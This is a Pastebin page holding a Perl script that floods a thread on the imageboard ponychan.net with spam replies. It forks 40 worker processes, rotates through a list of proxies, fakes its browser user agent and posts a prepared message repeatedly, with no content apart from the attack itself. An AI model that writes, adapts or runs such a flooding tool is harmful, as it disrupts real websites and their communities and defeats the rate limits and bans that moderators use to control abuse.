Advertisement
Guest User

Untitled

a guest
Jun 18th, 2012
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.74 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #usage: thread.pl http://url.of.thread
  3.  
  4. use strict;
  5. use Socket;
  6. use IO::Handle;
  7. use LWP::UserAgent;
  8. use HTTP::Request::Common;
  9.  
  10.     open PAGE, "comment.txt" or die $!;
  11.         my $text = do { local $/; <PAGE> };
  12.     close PAGE;
  13.    
  14. my $thread = $ARGV[0];
  15.  
  16.     my $ua = LWP::UserAgent->new();
  17.     $ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)');
  18.    
  19.     my ($shit1, $shit2) = split('/chan/', $thread);
  20.     my ($board, $rt) = split('/res/', $shit2);
  21.     $rt =~ s/.html//;
  22.    
  23. my %proxies;
  24. my $MAXFORK = 40;
  25.  
  26. open PROXIES, "proxies.txt";
  27.     my $i = 0;
  28.     while(<PROXIES>)
  29.     {
  30.         chomp;
  31.         $proxies{$_} = 1;
  32.         $i++;
  33.     }
  34. print STDERR "Found $i proxies in proxies.txt\n";
  35.  
  36. socketpair(AWAY, CONTROL, AF_UNIX, SOCK_STREAM, PF_UNSPEC);
  37. AWAY->autoflush(1);
  38. CONTROL->autoflush(1);
  39.  
  40. if(my $jpid = fork)
  41. {
  42.     close CONTROL;
  43. }
  44. else
  45. {
  46.     die "$!" unless defined $jpid;
  47.     close AWAY;
  48.  
  49.     my $command;
  50.     while(1)
  51.     {
  52.         chomp($command = <CONTROL>);
  53.  
  54.         if($command =~ /getproxy/)
  55.         {
  56.             if(keys %proxies > 0)
  57.             {
  58.                 print CONTROL (keys %proxies)[int rand keys %proxies] . "\n";
  59.             }
  60.             else
  61.             {
  62.                 print CONTROL "none\n";
  63.             }
  64.         }
  65.         elsif($command =~ /fail (\S+)/)
  66.         {
  67.             delete($proxies{$1});
  68.         }
  69.         else
  70.         {
  71.             die "Bad command: $command";
  72.         }
  73.     }
  74. }
  75.  
  76. for(my $i = 0;$i < $MAXFORK;$i++)
  77. {
  78.     FORK:
  79.     {
  80.         if(my $pid = fork)
  81.         {
  82.         }
  83.         elsif(defined $pid)
  84.         {
  85.             while (1) {
  86.                 print AWAY "getproxy\n";
  87.                 chomp(my $proxy = <AWAY>);
  88.  
  89.                 my $r = 0;
  90.                 $r = flood($proxy);
  91.  
  92.                 if($r)
  93.                 {
  94.                     print STDERR "Child $i succeeded\n";
  95.                 }
  96.                 else
  97.                 {
  98.                     print STDERR "Child $i failed\n";
  99.                     print AWAY "fail $proxy\n";
  100.                 }
  101.             }
  102.         }
  103.         elsif($! =~ /No more process/)
  104.         {
  105.             redo FORK;
  106.         }
  107.         else
  108.         {
  109.             print STDERR "Hit process limit\n";
  110.             goto ENDFORK;
  111.         }
  112.     }
  113. }
  114.  
  115. sub InitHTTP {
  116.     my $proxy = shift;
  117.  
  118.     $ua->timeout(5);
  119.     $ua->proxy("http", "http://$proxy");
  120.  
  121.     return $ua;
  122. }
  123.  
  124. sub flood {
  125.    
  126.     my $proxy = shift;
  127.     my $ua = InitHTTP($proxy);
  128.     my $pass = rand_string();
  129.     my $name1 = rand_string();
  130.     my $name2 = rand_string();
  131.  
  132.    
  133.     my $post = $ua->post(
  134.         'http://www.ponychan.net/chan/board.php',
  135.         Content_Type=>'application/x-www-form-urlencoded',
  136.         Content=>
  137.         [
  138.         board => $board,
  139.         replythread => $rt,
  140.         #name => $name1.'#'.$name2,
  141.         name => '',
  142.         em => 'noko',
  143.         subject => '',
  144.         message => $text,
  145.         postpassword => $pass,
  146.         Reply => 'z',
  147.         ]
  148.         );
  149.  
  150. if ($post->is_success){ return 1; }
  151. else{
  152. print STDERR "Error: " . $post->status_line . "\n";
  153. return 0;
  154. } }
  155.  
  156. sub rand_string {
  157. my $numb = rand(21);
  158. my $chars = 'abcdefghijklmnopqrstuvwxyz1234567890';
  159.     my @chars = split(//, $chars);
  160. my $shit;
  161.     while (length($shit) < $numb) {$shit .= $chars[int rand @chars];}
  162. return $shit;
  163. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement